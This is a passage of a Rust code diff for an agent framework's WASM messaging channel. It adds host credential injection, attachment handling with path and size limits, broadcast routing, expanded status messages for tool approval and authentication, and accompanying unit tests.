#[allow(clippy::too_many_arguments)] async fn execute_poll( channel_name: &str, runtime: &Arc, prepared: &Arc, capabilities: &ChannelCapabilities, credentials: &RwLock>, + host_credentials: Vec, pairing_store: Arc, timeout: Duration, + workspace_store: &Arc, ) -> Result, WasmChannelError> { // Skip if no WASM bytes (testing mode) - if prepared.component_bytes.is_empty() { + if prepared.component().is_none() { tracing::debug!( channel = %channel_name, "WASM channel on_poll called (no WASM module)" @@ -1586,9 +2204,10 @@ impl WasmChannel { let runtime = Arc::clone(runtime); let prepared = Arc::clone(prepared); - let capabilities = capabilities.clone(); + let capabilities = Self::inject_workspace_reader(capabilities, workspace_store); let credentials_snapshot = credentials.read().await.clone(); let channel_name_owned = channel_name.to_string(); + let workspace_store = Arc::clone(workspace_store); // Execute in blocking task with timeout let result = tokio::time::timeout(timeout, async move { @@ -1598,6 +2217,7 @@ impl WasmChannel { &prepared, &capabilities, credentials_snapshot, + host_credentials, pairing_store, )?; let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?; @@ -1608,8 +2228,13 @@ impl WasmChannel { .call_on_poll(&mut store) .map_err(|e| Self::map_wasm_error(e, &prepared.name, prepared.limits.fuel))?; - let host_state = + let mut host_state = Self::extract_host_state(&mut store, &prepared.name, &capabilities); + + // Commit pending workspace writes to the persistent store + let pending_writes = host_state.take_pending_writes(); + workspace_store.commit_writes(&pending_writes); + Ok(host_state) }) .await @@ -1647,6 +2272,8 @@ impl WasmChannel { messages: Vec, message_tx: &RwLock>>, rate_limiter: &RwLock, + last_broadcast_metadata: &tokio::sync::RwLock>, + settings_store: Option<&Arc>, ) -> Result<(), WasmChannelError> { tracing::info!( channel = %channel_name, @@ -1689,9 +2316,38 @@ impl WasmChannel { msg = msg.with_thread(thread_id); } + // Convert attachments + if !emitted.attachments.is_empty() { + let incoming_attachments = emitted + .attachments + .iter() + .map(|a| crate::channels::IncomingAttachment { + id: a.id.clone(), + kind: crate::channels::AttachmentKind::from_mime_type(&a.mime_type), + mime_type: a.mime_type.clone(), + filename: a.filename.clone(), + size_bytes: a.size_bytes, + source_url: a.source_url.clone(), + storage_key: a.storage_key.clone(), + extracted_text: a.extracted_text.clone(), + data: a.data.clone(), + duration_secs: a.duration_secs, + }) + .collect(); + msg = msg.with_attachments(incoming_attachments); + } + // Parse metadata JSON if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) { msg = msg.with_metadata(metadata); + // Store for broadcast routing (chat_id etc.) + do_update_broadcast_metadata( + channel_name, + &emitted.metadata_json, + last_broadcast_metadata, + settings_store, + ) + .await; } // Send to stream @@ -1699,6 +2355,7 @@ impl WasmChannel { channel = %channel_name, user_id = %emitted.user_id, content_len = emitted.content.len(), + attachment_count = msg.attachments.len(), "Sending polled message to agent" ); @@ -1727,6 +2384,9 @@ impl Channel for WasmChannel { } async fn start(&self) -> Result { + // Restore broadcast metadata from settings (survives restarts) + self.load_broadcast_metadata().await; + // Create message channel let (tx, rx) = mpsc::channel(256); *self.message_tx.write().await = Some(tx); @@ -1816,11 +2476,14 @@ impl Channel for WasmChannel { // The original metadata contains channel-specific routing info (e.g., Telegram chat_id) // that the WASM channel needs to send the reply to the correct destination. let metadata_json = serde_json::to_string(&msg.metadata).unwrap_or_default(); + // Store for broadcast routing (chat_id etc.) + self.update_broadcast_metadata(&metadata_json).await; self.call_on_respond( msg.id, &response.content, response.thread_id.as_deref(), &metadata_json, + &response.attachments, ) .await .map_err(|e| ChannelError::SendFailed { @@ -1831,6 +2494,25 @@ impl Channel for WasmChannel { Ok(()) } + async fn broadcast( + &self, + user_id: &str, + response: OutgoingResponse, + ) -> Result<(), ChannelError> { + self.cancel_typing_task().await; + self.call_on_broadcast( + user_id, + &response.content, + response.thread_id.as_deref(), + &response.attachments, + ) + .await + .map_err(|e| ChannelError::SendFailed { + name: self.name.clone(), + reason: e.to_string(), + }) + } + async fn send_status( &self, status: StatusUpdate, @@ -1935,6 +2617,14 @@ impl Channel for SharedWasmChannel { self.inner.respond(msg, response).await } + async fn broadcast( + &self, + user_id: &str, + response: OutgoingResponse, + ) -> Result<(), ChannelError> { + self.inner.broadcast(user_id, response).await + } + async fn send_status( &self, status: StatusUpdate, @@ -1994,6 +2684,16 @@ fn convert_http_response(wit: wit_channel::OutgoingHttpResponse) -> HttpResponse } /// Convert a StatusUpdate + metadata into the WIT StatusUpdate type. +fn truncate_status_text(input: &str, max_chars: usize) -> String { + let mut iter = input.chars(); + let truncated: String = iter.by_ref().take(max_chars).collect(); + if iter.next().is_some() { + format!("{}...", truncated) + } else { + truncated + } +} + fn status_to_wit(status: &StatusUpdate, metadata: &serde_json::Value) -> wit_channel::StatusUpdate { let metadata_json = serde_json::to_string(metadata).unwrap_or_default(); @@ -2005,17 +2705,25 @@ fn status_to_wit(status: &StatusUpdate, metadata: &serde_json::Value) -> wit_cha }, StatusUpdate::ToolStarted { name } => wit_channel::StatusUpdate { status: wit_channel::StatusType::ToolStarted, - message: name.clone(), + message: format!("Tool started: {}", name), metadata_json, }, - StatusUpdate::ToolCompleted { name, success } => wit_channel::StatusUpdate { + StatusUpdate::ToolCompleted { name, success, .. } => wit_channel::StatusUpdate { status: wit_channel::StatusType::ToolCompleted, - message: format!("{}: {}", name, if *success { "ok" } else { "failed" }), + message: format!( + "Tool completed: {} ({})", + name, + if *success { "ok" } else { "failed" } + ), metadata_json, }, StatusUpdate::ToolResult { name, preview } => wit_channel::StatusUpdate { - status: wit_channel::StatusType::ToolCompleted, - message: format!("{}: {}", name, preview), + status: wit_channel::StatusType::ToolResult, + message: format!( + "Tool result: {}\n{}", + name, + truncate_status_text(preview, 280) + ), metadata_json, }, StatusUpdate::StreamChunk(chunk) => wit_channel::StatusUpdate { @@ -2024,11 +2732,16 @@ fn status_to_wit(status: &StatusUpdate, metadata: &serde_json::Value) -> wit_cha metadata_json, }, StatusUpdate::Status(msg) => { - // Map well-known status strings to WIT types - let status_type = match msg.as_str() { - "Done" => wit_channel::StatusType::Done, - "Interrupted" => wit_channel::StatusType::Interrupted, - _ => wit_channel::StatusType::Thinking, + // Map well-known status strings to WIT types (case-insensitive + // to stay consistent with is_terminal_text_status and the + // Telegram-side classify_status_update). + let trimmed = msg.trim(); + let status_type = if trimmed.eq_ignore_ascii_case("done") { + wit_channel::StatusType::Done + } else if trimmed.eq_ignore_ascii_case("interrupted") { + wit_channel::StatusType::Interrupted + } else { + wit_channel::StatusType::Status }; wit_channel::StatusUpdate { status: status_type, @@ -2037,34 +2750,62 @@ fn status_to_wit(status: &StatusUpdate, metadata: &serde_json::Value) -> wit_cha } } StatusUpdate::ApprovalNeeded { + request_id, tool_name, description, .. } => wit_channel::StatusUpdate { - status: wit_channel::StatusType::Thinking, - message: format!("Approval needed: {} - {}", tool_name, description), + status: wit_channel::StatusType::ApprovalNeeded, + message: format!( + "Approval needed for tool '{}'. {}\nRequest ID: {}\nReply with: yes (or /approve), no (or /deny), or always (or /always).", + tool_name, description, request_id + ), metadata_json, }, - StatusUpdate::JobStarted { job_id, title, .. } => wit_channel::StatusUpdate { - status: wit_channel::StatusType::Thinking, - message: format!("Job started: {} ({})", title, job_id), + StatusUpdate::JobStarted { + job_id, + title, + browse_url, + } => wit_channel::StatusUpdate { + status: wit_channel::StatusType::JobStarted, + message: format!("Job started: {} ({})\n{}", title, job_id, browse_url), metadata_json, }, - StatusUpdate::AuthRequired { extension_name, .. } => wit_channel::StatusUpdate { - status: wit_channel::StatusType::Thinking, - message: format!("Auth required: {}", extension_name), + StatusUpdate::AuthRequired { + extension_name, + instructions, + auth_url, + setup_url, + } => wit_channel::StatusUpdate { + status: wit_channel::StatusType::AuthRequired, + message: { + let mut lines = vec![format!("Authentication required for {}.", extension_name)]; + if let Some(text) = instructions + && !text.trim().is_empty() + { + lines.push(text.trim().to_string()); + } + if let Some(url) = auth_url { + lines.push(format!("Auth URL: {}", url)); + } + if let Some(url) = setup_url { + lines.push(format!("Setup URL: {}", url)); + } + lines.join("\n") + }, metadata_json, }, StatusUpdate::AuthCompleted { extension_name, success, - .. + message, } => wit_channel::StatusUpdate { - status: wit_channel::StatusType::Thinking, + status: wit_channel::StatusType::AuthCompleted, message: format!( - "Auth {}: {}", + "Authentication {} for {}. {}", if *success { "completed" } else { "failed" }, - extension_name + extension_name, + message ), metadata_json, }, @@ -2080,6 +2821,12 @@ fn clone_wit_status_update(update: &wit_channel::StatusUpdate) -> wit_channel::S wit_channel::StatusType::Interrupted => wit_channel::StatusType::Interrupted, wit_channel::StatusType::ToolStarted => wit_channel::StatusType::ToolStarted, wit_channel::StatusType::ToolCompleted => wit_channel::StatusType::ToolCompleted, + wit_channel::StatusType::ToolResult => wit_channel::StatusType::ToolResult, + wit_channel::StatusType::ApprovalNeeded => wit_channel::StatusType::ApprovalNeeded, + wit_channel::StatusType::Status => wit_channel::StatusType::Status, + wit_channel::StatusType::JobStarted => wit_channel::StatusType::JobStarted, + wit_channel::StatusType::AuthRequired => wit_channel::StatusType::AuthRequired, + wit_channel::StatusType::AuthCompleted => wit_channel::StatusType::AuthCompleted, }, message: update.message.clone(), metadata_json: update.metadata_json.clone(), @@ -2129,6 +2876,170 @@ impl HttpResponse { } } +/// Extract the hostname from a URL string. +/// +/// Returns `None` for malformed URLs or non-HTTP(S) schemes. +fn extract_host_from_url(url: &str) -> Option { + let parsed = url::Url::parse(url).ok()?; + if !matches!(parsed.scheme(), "http" | "https") { + return None; + } + parsed.host_str().map(|h| { + h.strip_prefix('[') + .and_then(|v| v.strip_suffix(']')) + .unwrap_or(h) + .to_lowercase() + }) +} + +/// Pre-resolve host credentials for all HTTP capability mappings. +/// +/// Called once per callback (in async context, before spawn_blocking) so the +/// synchronous WASM host function can inject credentials without needing async +/// access to the secrets store. +/// +/// Silently skips credentials that can't be resolved (e.g., missing secrets). +/// The channel will get a 401/403 from the API, which is the expected UX when +/// auth hasn't been configured yet. +async fn resolve_channel_host_credentials( + capabilities: &ChannelCapabilities, + store: Option<&(dyn SecretsStore + Send + Sync)>, +) -> Vec { + let store = match store { + Some(s) => s, + None => return Vec::new(), + }; + + let http_cap = match &capabilities.tool_capabilities.http { + Some(cap) => cap, + None => return Vec::new(), + }; + + if http_cap.credentials.is_empty() { + return Vec::new(); + } + + let mut resolved = Vec::new(); + + for mapping in http_cap.credentials.values() { + // Skip UrlPath credentials; they're handled by placeholder substitution + if matches!( + mapping.location, + crate::secrets::CredentialLocation::UrlPath { .. } + ) { + continue; + } + + let secret = match store.get_decrypted("default", &mapping.secret_name).await { + Ok(s) => s, + Err(e) => { + tracing::debug!( + secret_name = %mapping.secret_name, + error = %e, + "Could not resolve credential for WASM channel (auth may not be configured)" + ); + continue; + } + }; + + let mut injected = InjectedCredentials::empty(); + inject_credential(&mut injected, &mapping.location, &secret); + + if injected.is_empty() { + continue; + } + + resolved.push(ResolvedHostCredential { + host_patterns: mapping.host_patterns.clone(), + headers: injected.headers, + query_params: injected.query_params, + secret_value: secret.expose().to_string(), + }); + } + + if !resolved.is_empty() { + tracing::debug!( + count = resolved.len(), + "Pre-resolved host credentials for WASM channel execution" + ); + } + + resolved +} + +// ============================================================================ +// Attachment Helpers +// ============================================================================ + +/// Maximum total attachment size (50 MB). +const MAX_TOTAL_ATTACHMENT_BYTES: u64 = 50 * 1024 * 1024; + +/// Detect MIME type from file extension using the `mime_guess` crate. +fn mime_from_extension(path: &str) -> String { + mime_guess::from_path(path) + .first_or_octet_stream() + .to_string() +} + +/// Read attachment files from disk and build WIT attachment records. +/// +/// Validates total size against `MAX_TOTAL_ATTACHMENT_BYTES`. +fn read_attachments(paths: &[String]) -> Result, String> { + if paths.is_empty() { + return Ok(Vec::new()); + } + + let mut attachments = Vec::with_capacity(paths.len()); + let mut total_bytes: u64 = 0; + let tmp_base = std::path::Path::new("/tmp"); + let home_base = dirs::home_dir() + .map(|h| h.join(".ironclaw")) + .unwrap_or_default(); + + for path in paths { + // Validate paths are under /tmp/ or ~/.ironclaw/ to prevent arbitrary file reads + let validated = crate::tools::builtin::path_utils::validate_path(path, Some(tmp_base)) + .or_else(|_| crate::tools::builtin::path_utils::validate_path(path, Some(&home_base))); + let validated = validated.map_err(|e| { + format!( + "Invalid attachment path '{}': must be under /tmp/ or ~/.ironclaw/: {}", + path, e + ) + })?; + + // Pre-check file size before reading into memory to avoid OOM + let file_size = std::fs::metadata(&validated) + .map_err(|e| format!("Failed to stat attachment '{}': {}", validated.display(), e))? + .len(); + total_bytes += file_size; + if total_bytes > MAX_TOTAL_ATTACHMENT_BYTES { + return Err(format!( + "Total attachment size exceeds {} MB limit", + MAX_TOTAL_ATTACHMENT_BYTES / (1024 * 1024) + )); + } + + let data = std::fs::read(&validated) + .map_err(|e| format!("Failed to read attachment '{}': {}", validated.display(), e))?; + + let filename = validated + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or("file") + .to_string(); + + let mime_type = mime_from_extension(path); + + attachments.push(wit_channel::Attachment { + filename, + mime_type, + data, + }); + } + + Ok(attachments) +} + #[cfg(test)] mod tests { use std::sync::Arc; @@ -2149,7 +3060,7 @@ mod tests { let prepared = Arc::new(PreparedChannelModule { name: "test".to_string(), description: "Test channel".to_string(), - component_bytes: Vec::new(), + component: None, limits: ResourceLimits::default(), }); @@ -2161,6 +3072,7 @@ mod tests { capabilities, "{}".to_string(), Arc::new(PairingStore::new()), + None, ) } @@ -2214,7 +3126,7 @@ mod tests { #[tokio::test] async fn test_execute_poll_no_wasm_returns_empty() { - // When there's no WASM module (empty component_bytes), execute_poll + // When there's no WASM module (None component), execute_poll // should return an empty vector of messages let config = WasmChannelRuntimeConfig::for_testing(); let runtime = Arc::new(WasmChannelRuntime::new(config).unwrap()); @@ -2222,7 +3134,7 @@ mod tests { let prepared = Arc::new(PreparedChannelModule { name: "poll-test".to_string(), description: "Test channel".to_string(), - component_bytes: Vec::new(), // No WASM bytes + component: None, // No WASM module limits: ResourceLimits::default(), }); @@ -2230,14 +3142,18 @@ mod tests { let credentials = Arc::new(tokio::sync::RwLock::new(std::collections::HashMap::new())); let timeout = std::time::Duration::from_secs(5); + let workspace_store = Arc::new(crate::channels::wasm::host::ChannelWorkspaceStore::new()); + let result = WasmChannel::execute_poll( "poll-test", &runtime, &prepared, &capabilities, &credentials, + Vec::new(), // no host credentials in test Arc::new(PairingStore::new()), timeout, + &workspace_store, ) .await; @@ -2263,11 +3179,14 @@ mod tests { EmittedMessage::new("user2", "Another message"), ]; + let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None)); let result = WasmChannel::dispatch_emitted_messages( "test-channel", messages, &message_tx, &rate_limiter, + &last_broadcast_metadata, + None, ) .await; @@ -2301,11 +3220,14 @@ mod tests { let messages = vec![EmittedMessage::new("user1", "Hello!")]; // Should return Ok even without a sender (logs warning but doesn't fail) + let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None)); let result = WasmChannel::dispatch_emitted_messages( "test-channel", messages, &message_tx, &rate_limiter, + &last_broadcast_metadata, + None, ) .await; @@ -2321,7 +3243,7 @@ mod tests { let prepared = Arc::new(PreparedChannelModule { name: "poll-channel".to_string(), description: "Polling test channel".to_string(), - component_bytes: Vec::new(), + component: None, limits: ResourceLimits::default(), }); @@ -2336,6 +3258,7 @@ mod tests { capabilities, "{}".to_string(), Arc::new(PairingStore::new()), + None, ); // Start the channel @@ -2420,6 +3343,100 @@ mod tests { channel.shutdown().await.expect("Shutdown should succeed"); } + #[tokio::test] + async fn test_typing_task_persists_on_tool_started() { + let channel = create_test_channel(); + let _stream = channel.start().await.expect("Channel should start"); + + let metadata = serde_json::json!({"chat_id": 123}); + + // Start typing + let _ = channel + .send_status( + crate::channels::StatusUpdate::Thinking("Processing...".into()), + &metadata, + ) + .await; + assert!(channel.typing_task.read().await.is_some()); + + // Intermediate tool status should not cancel typing + let _ = channel + .send_status( + crate::channels::StatusUpdate::ToolStarted { + name: "http_request".into(), + }, + &metadata, + ) + .await; + + assert!(channel.typing_task.read().await.is_some()); + + channel.shutdown().await.expect("Shutdown should succeed"); + } + + #[tokio::test] + async fn test_typing_task_cancelled_on_approval_needed() { + let channel = create_test_channel(); + let _stream = channel.start().await.expect("Channel should start"); + + let metadata = serde_json::json!({"chat_id": 123}); + + // Start typing + let _ = channel + .send_status( + crate::channels::StatusUpdate::Thinking("Processing...".into()), + &metadata, + ) + .await; + assert!(channel.typing_task.read().await.is_some()); + + // Approval-needed should stop typing while waiting for user action + let _ = channel + .send_status( + crate::channels::StatusUpdate::ApprovalNeeded { + request_id: "req-1".into(), + tool_name: "http_request".into(), + description: "Fetch weather".into(), + parameters: serde_json::json!({"url": "https://wttr.in"}), + }, + &metadata, + ) + .await; + + assert!(channel.typing_task.read().await.is_none()); + + channel.shutdown().await.expect("Shutdown should succeed"); + } + + #[tokio::test] + async fn test_typing_task_cancelled_on_awaiting_approval_status() { + let channel = create_test_channel(); + let _stream = channel.start().await.expect("Channel should start"); + + let metadata = serde_json::json!({"chat_id": 123}); + + // Start typing + let _ = channel + .send_status( + crate::channels::StatusUpdate::Thinking("Processing...".into()), + &metadata, + ) + .await; + assert!(channel.typing_task.read().await.is_some()); + + // Legacy terminal status string should also cancel typing + let _ = channel + .send_status( + crate::channels::StatusUpdate::Status("Awaiting approval".into()), + &metadata, + ) + .await; + + assert!(channel.typing_task.read().await.is_none()); + + channel.shutdown().await.expect("Shutdown should succeed"); + } + #[tokio::test] async fn test_typing_task_replaced_on_new_thinking() { let channel = create_test_channel(); @@ -2543,6 +3560,27 @@ mod tests { assert!(matches!(wit.status, super::wit_channel::StatusType::Done)); } + #[test] + fn test_status_to_wit_done_case_insensitive() { + use super::status_to_wit; + + let metadata = serde_json::json!(null); + + // lowercase + let wit = status_to_wit( + &crate::channels::StatusUpdate::Status("done".into()), + &metadata, + ); + assert!(matches!(wit.status, super::wit_channel::StatusType::Done)); + + // with whitespace + let wit = status_to_wit( + &crate::channels::StatusUpdate::Status(" Done ".into()), + &metadata, + ); + assert!(matches!(wit.status, super::wit_channel::StatusType::Done)); + } + #[test] fn test_status_to_wit_interrupted() { use super::status_to_wit; @@ -2559,6 +3597,315 @@ mod tests { )); } + #[test] + fn test_status_to_wit_interrupted_case_insensitive() { + use super::status_to_wit; + + let metadata = serde_json::json!(null); + + // lowercase + let wit = status_to_wit( + &crate::channels::StatusUpdate::Status("interrupted".into()), + &metadata, + ); + assert!(matches!( + wit.status, + super::wit_channel::StatusType::Interrupted + )); + + // with whitespace + let wit = status_to_wit( + &crate::channels::StatusUpdate::Status(" Interrupted ".into()), + &metadata, + ); + assert!(matches!( + wit.status, + super::wit_channel::StatusType::Interrupted + )); + } + + #[test] + fn test_status_to_wit_generic_status() { + use super::status_to_wit; + + let metadata = serde_json::json!(null); + let wit = status_to_wit( + &crate::channels::StatusUpdate::Status("Awaiting approval".into()), + &metadata, + ); + + assert!(matches!(wit.status, super::wit_channel::StatusType::Status)); + assert_eq!(wit.message, "Awaiting approval"); + } + + #[test] + fn test_status_to_wit_auth_required() { + use super::status_to_wit; + + let metadata = serde_json::json!({"chat_id": 42}); + let wit = status_to_wit( + &crate::channels::StatusUpdate::AuthRequired { + extension_name: "weather".to_string(), + instructions: Some("Paste your token".to_string()), + auth_url: Some("https://example.com/auth".to_string()), + setup_url: None, + }, + &metadata, + ); + + assert!(matches!( + wit.status, + super::wit_channel::StatusType::AuthRequired + )); + assert!(wit.message.contains("Authentication required for weather")); + assert!(wit.message.contains("Paste your token")); + } + + #[test] + fn test_status_to_wit_tool_started() { + use super::status_to_wit; + + let metadata = serde_json::json!({"chat_id": 7}); + let wit = status_to_wit( + &crate::channels::StatusUpdate::ToolStarted { + name: "http_request".to_string(), + }, + &metadata, + ); + + assert!(matches!( + wit.status, + super::wit_channel::StatusType::ToolStarted + )); + assert_eq!(wit.message, "Tool started: http_request"); + } + + #[test] + fn test_status_to_wit_tool_completed_success() { + use super::status_to_wit; + + let metadata = serde_json::json!(null); + let wit = status_to_wit( + &crate::channels::StatusUpdate::ToolCompleted { + name: "http_request".to_string(), + success: true, + error: None, + parameters: None, + }, + &metadata, + ); + + assert!(matches!( + wit.status, + super::wit_channel::StatusType::ToolCompleted + )); + assert_eq!(wit.message, "Tool completed: http_request (ok)"); + } + + #[test] + fn test_status_to_wit_tool_completed_failure() { + use super::status_to_wit; + + let metadata = serde_json::json!(null); + let wit = status_to_wit( + &crate::channels::StatusUpdate::ToolCompleted { + name: "http_request".to_string(), + success: false, + error: Some("connection refused".to_string()), + parameters: None, + }, + &metadata, + ); + + assert!(matches!( + wit.status, + super::wit_channel::StatusType::ToolCompleted + )); + assert_eq!(wit.message, "Tool completed: http_request (failed)"); + } + + #[test] + fn test_status_to_wit_tool_result() { + use super::status_to_wit; + + let metadata = serde_json::json!(null); + let wit = status_to_wit( + &crate::channels::StatusUpdate::ToolResult { + name: "http_request".to_string(), + preview: "{".to_string() + "\"temperature\": 22}", + }, + &metadata, + ); + + assert!(matches!( + wit.status, + super::wit_channel::StatusType::ToolResult + )); + assert!(wit.message.starts_with("Tool result: http_request\n")); + } + + #[test] + fn test_status_to_wit_tool_result_truncates_preview() { + use super::status_to_wit; + + let metadata = serde_json::json!(null); + let long_preview = "x".repeat(400); + let wit = status_to_wit( + &crate::channels::StatusUpdate::ToolResult { + name: "big_tool".to_string(), + preview: long_preview, + }, + &metadata, + ); + + assert!(matches!( + wit.status, + super::wit_channel::StatusType::ToolResult + )); + assert!(wit.message.ends_with("...")); + } + + #[test] + fn test_status_to_wit_job_started() { + use super::status_to_wit; + + let metadata = serde_json::json!({"chat_id": 1}); + let wit = status_to_wit( + &crate::channels::StatusUpdate::JobStarted { + job_id: "job-1".to_string(), + title: "Daily sync".to_string(), + browse_url: "https://example.com/jobs/job-1".to_string(), + }, + &metadata, + ); + + assert!(matches!( + wit.status, + super::wit_channel::StatusType::JobStarted + )); + assert!(wit.message.contains("Daily sync")); + assert!(wit.message.contains("https://example.com/jobs/job-1")); + } + + #[test] + fn test_status_to_wit_auth_completed_success() { + use super::status_to_wit; + + let metadata = serde_json::json!(null); + let wit = status_to_wit( + &crate::channels::StatusUpdate::AuthCompleted { + extension_name: "weather".to_string(), + success: true, + message: "Token saved".to_string(), + }, + &metadata, + ); + + assert!(matches!( + wit.status, + super::wit_channel::StatusType::AuthCompleted + )); + assert!(wit.message.contains("Authentication completed")); + assert!(wit.message.contains("Token saved")); + } + + #[test] + fn test_status_to_wit_auth_completed_failure() { + use super::status_to_wit; + + let metadata = serde_json::json!(null); + let wit = status_to_wit( + &crate::channels::StatusUpdate::AuthCompleted { + extension_name: "weather".to_string(), + success: false, + message: "Invalid token".to_string(), + }, + &metadata, + ); + + assert!(matches!( + wit.status, + super::wit_channel::StatusType::AuthCompleted + )); + assert!(wit.message.contains("Authentication failed")); + assert!(wit.message.contains("Invalid token")); + } + + #[test] + fn test_status_to_wit_approval_needed() { + use super::status_to_wit; + + let metadata = serde_json::json!({"chat_id": 42}); + let wit = status_to_wit( + &crate::channels::StatusUpdate::ApprovalNeeded { + request_id: "req-123".to_string(), + tool_name: "http_request".to_string(), + description: "Fetch weather data".to_string(), + parameters: serde_json::json!({"url": "https://api.weather.test"}), + }, + &metadata, + ); + + assert!(matches!( + wit.status, + super::wit_channel::StatusType::ApprovalNeeded + )); + assert!(wit.message.contains("http_request")); + assert!(wit.message.contains("/approve")); + } + + #[test] + fn test_approval_prompt_roundtrip_submission_aliases() { + use super::status_to_wit; + use crate::agent::submission::{Submission, SubmissionParser}; + + let metadata = serde_json::json!({"chat_id": 42}); + let wit = status_to_wit( + &crate::channels::StatusUpdate::ApprovalNeeded { + request_id: "req-321".to_string(), + tool_name: "http_request".to_string(), + description: "Fetch weather data".to_string(), + parameters: serde_json::json!({"url": "https://api.weather.test"}), + }, + &metadata, + ); + + assert!(matches!( + wit.status, + super::wit_channel::StatusType::ApprovalNeeded + )); + assert!(wit.message.contains("/approve")); + assert!(wit.message.contains("/deny")); + assert!(wit.message.contains("/always")); + + let approve = SubmissionParser::parse("/approve"); + assert!(matches!( + approve, + Submission::ApprovalResponse { + approved: true, + always: false + } + )); + + let deny = SubmissionParser::parse("/deny"); + assert!(matches!( + deny, + Submission::ApprovalResponse { + approved: false, + always: false + } + )); + + let always = SubmissionParser::parse("/always"); + assert!(matches!( + always, + Submission::ApprovalResponse { + approved: true, + always: true + } + )); + } + #[test] fn test_clone_wit_status_update() { use super::{clone_wit_status_update, wit_channel}; @@ -2575,6 +3922,78 @@ mod tests { assert_eq!(cloned.metadata_json, "{\"a\":1}"); } + #[test] + fn test_clone_wit_status_update_approval_needed() { + use super::{clone_wit_status_update, wit_channel}; + + let original = wit_channel::StatusUpdate { + status: wit_channel::StatusType::ApprovalNeeded, + message: "approval needed".to_string(), + metadata_json: "{\"chat_id\":42}".to_string(), + }; + + let cloned = clone_wit_status_update(&original); + assert!(matches!( + cloned.status, + wit_channel::StatusType::ApprovalNeeded + )); + assert_eq!(cloned.message, "approval needed"); + assert_eq!(cloned.metadata_json, "{\"chat_id\":42}"); + } + + #[test] + fn test_clone_wit_status_update_auth_completed() { + use super::{clone_wit_status_update, wit_channel}; + + let original = wit_channel::StatusUpdate { + status: wit_channel::StatusType::AuthCompleted, + message: "auth complete".to_string(), + metadata_json: "{}".to_string(), + }; + + let cloned = clone_wit_status_update(&original); + assert!(matches!( + cloned.status, + wit_channel::StatusType::AuthCompleted + )); + assert_eq!(cloned.message, "auth complete"); + } + + #[test] + fn test_clone_wit_status_update_all_variants() { + use super::{clone_wit_status_update, wit_channel}; + + let variants = vec![ + wit_channel::StatusType::Thinking, + wit_channel::StatusType::Done, + wit_channel::StatusType::Interrupted, + wit_channel::StatusType::ToolStarted, + wit_channel::StatusType::ToolCompleted, + wit_channel::StatusType::ToolResult, + wit_channel::StatusType::ApprovalNeeded, + wit_channel::StatusType::Status, + wit_channel::StatusType::JobStarted, + wit_channel::StatusType::AuthRequired, + wit_channel::StatusType::AuthCompleted, + ]; + + for status in variants { + let original = wit_channel::StatusUpdate { + status, + message: "sample".to_string(), + metadata_json: "{}".to_string(), + }; + let cloned = clone_wit_status_update(&original); + + assert_eq!( + std::mem::discriminant(&cloned.status), + std::mem::discriminant(&original.status) + ); + assert_eq!(cloned.message, "sample"); + assert_eq!(cloned.metadata_json, "{}"); + } + } + #[test] fn test_redact_credentials_replaces_values() { use super::ChannelStoreData; @@ -2591,6 +4010,7 @@ mod tests { "test", ChannelCapabilities::default(), creds, + Vec::new(), Arc::new(PairingStore::new()), ); @@ -2622,6 +4042,7 @@ mod tests { "test", ChannelCapabilities::default(), std::collections::HashMap::new(), + Vec::new(), Arc::new(PairingStore::new()), ); @@ -2629,6 +4050,50 @@ mod tests { assert_eq!(store.redact_credentials(input), input); } + #[test] + fn test_redact_credentials_url_encoded() { + use super::{ChannelStoreData, ResolvedHostCredential}; + + // Credential with characters that get URL-encoded + let mut creds = std::collections::HashMap::new(); + creds.insert( + "API_KEY".to_string(), + "key with spaces&special=chars".to_string(), + ); + + let host_creds = vec![ResolvedHostCredential { + host_patterns: vec!["api.example.com".to_string()], + headers: std::collections::HashMap::new(), + query_params: std::collections::HashMap::new(), + secret_value: "host secret+value".to_string(), + }]; + + let store = ChannelStoreData::new( + 1024 * 1024, + "test", + ChannelCapabilities::default(), + creds, + host_creds, + Arc::new(PairingStore::new()), + ); + + // Error containing URL-encoded form of the credential + let error = "request failed: https://api.example.com?key=key%20with%20spaces%26special%3Dchars&host=host%20secret%2Bvalue"; + + let redacted = store.redact_credentials(error); + + assert!( + !redacted.contains("key%20with%20spaces"), + "URL-encoded credential should be redacted, got: {}", + redacted + ); + assert!( + !redacted.contains("host%20secret%2Bvalue"), + "URL-encoded host credential should be redacted, got: {}", + redacted + ); + } + #[test] fn test_redact_credentials_skips_empty_values() { use super::ChannelStoreData; @@ -2641,6 +4106,7 @@ mod tests { "test", ChannelCapabilities::default(), creds, + Vec::new(), Arc::new(PairingStore::new()), ); @@ -2696,4 +4162,139 @@ mod tests { // 404 because "000" is not a valid bot token assert_eq!(result, 404); } + + #[tokio::test] + async fn test_dispatch_emitted_messages_preserves_attachments() { + use crate::channels::wasm::host::{Attachment, EmittedMessage}; + + let (tx, mut rx) = tokio::sync::mpsc::channel(10); + let message_tx = Arc::new(tokio::sync::RwLock::new(Some(tx))); + + let rate_limiter = Arc::new(tokio::sync::RwLock::new( + crate::channels::wasm::host::ChannelEmitRateLimiter::new( + crate::channels::wasm::capabilities::EmitRateLimitConfig::default(), + ), + )); + + let attachments = vec![ + Attachment { + id: "photo123".to_string(), + mime_type: "image/jpeg".to_string(), + filename: Some("cat.jpg".to_string()), + size_bytes: Some(50_000), + source_url: Some("https://api.telegram.org/file/photo123".to_string()), + storage_key: None, + extracted_text: None, + data: Vec::new(), + duration_secs: None, + }, + Attachment { + id: "doc456".to_string(), + mime_type: "application/pdf".to_string(), + filename: Some("report.pdf".to_string()), + size_bytes: Some(120_000), + source_url: None, + storage_key: Some("store/doc456".to_string()), + extracted_text: Some("Report contents...".to_string()), + data: Vec::new(), + duration_secs: None, + }, + ]; + + let messages = + vec![EmittedMessage::new("user1", "Check these files").with_attachments(attachments)]; + + let last_broadcast_metadata = Arc::new(tokio::sync::RwLock::new(None)); + let result = WasmChannel::dispatch_emitted_messages( + "test-channel", + messages, + &message_tx, + &rate_limiter, + &last_broadcast_metadata, + None, + ) + .await; + + assert!(result.is_ok()); + + let msg = rx.try_recv().expect("Should receive message"); + assert_eq!(msg.content, "Check these files"); + assert_eq!(msg.attachments.len(), 2); + + // Verify first attachment + assert_eq!(msg.attachments[0].id, "photo123"); + assert_eq!(msg.attachments[0].mime_type, "image/jpeg"); + assert_eq!(msg.attachments[0].filename, 